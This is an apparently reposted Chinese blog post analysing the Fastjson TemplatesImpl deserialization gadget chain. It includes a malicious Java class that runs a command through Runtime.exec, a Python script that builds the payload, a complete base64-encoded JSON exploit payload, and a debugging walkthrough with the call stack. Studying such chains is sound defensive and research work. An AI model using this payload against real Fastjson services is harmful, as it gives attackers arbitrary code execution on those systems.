Fastjson反序列化漏洞分析--TemplatesImpl利用鏈


Fastjson反序列化漏洞分析--TemplatesImpl利用鏈

前言

前面對 TemplatesImpl 利用鏈進行了漏洞分析,這次接着上次的內容,對 TemplatesImpl 利用鏈進行分析。

TemplatesImpl利用鏈

漏洞原理:Fastjson 通過 bytecodes 字段傳入惡意類,調用 outputProperties 屬性的 getter 方法時,實例化傳入的惡意類,調用其構造方法,造成任意命令執行。

但是由於需要在 parse 反序列化時設置第二個參數 Feature.SupportNonPublicField ,所以利用面很窄,但是這條利用鏈還是值得去學習
項目地址:https://github.com/alibaba/fastjson

漏洞復現

打開 Fastjson 項目,看到 parse 反序列化時設置第二個參數 Feature.SupportNonPublicField

惡意類TEMPOC.java,調出計算器程序。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("open -a Calculator");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
}

將其編譯成.class文件,通過如下方式進行base64加密以及生成payload。

import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc

POC

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

執行后,調出計算器:

漏洞分析

據上面的分析,_bytecode為惡意類TEMPOC.java編譯成.class文件后,通過 base64 編碼得到的值。事先我們知道 TemplatesImpl 類實例化對象是通過調用newTransFormer()方法,所以想要進行實例化,就必須觸發newTransFormer()這個方法。

跟進 TemplatesImpl,可以看到在getOutPropereties()中會調用newTransFormer()這個方法

為了更好理解,我們直接來看看下面幾個類:
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserilizer:smartMatch:761
com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:126
com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:80
com.alibaba.fastjson.serializer.ObjectArrayCode:deserialze:136

首先是com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:80

可以我們看到name=getOutPropereties,正是對應上面的getOutPropereties方法

在 com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:126 加斷點進行調試

發現field.set(object,value)向 TemplatesImpl 里放入 _bytecode字段,繼續調試

第二次放入_name字段,繼續

第三次放入_tfactory字段

繼續調試,發現最后直接調用了計算器,表明已經成功反序列化,實際上此時放入的是getOutPropereties,成功觸發newTransFormer()方法

再來看看 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserilizer:smartMatch:761

這里是去除_操作,即可以將_outputPropereties變為outputPropereties,之后變成一個method,被我們 invoke

com.alibaba.fastjson.serializer.ObjectArrayCode:deserialze:136

加斷點進行調試,進入到 com.alibaba.fastjson.parser.deserializer.JSONScanner:111

這里對_bytecode做了 base64 的解碼,所以這就是為什么要對惡意類二進制內容進行 base64 編碼

最后給出整個調用棧:

<init>:13, TEMPOC
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:7, Unser


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM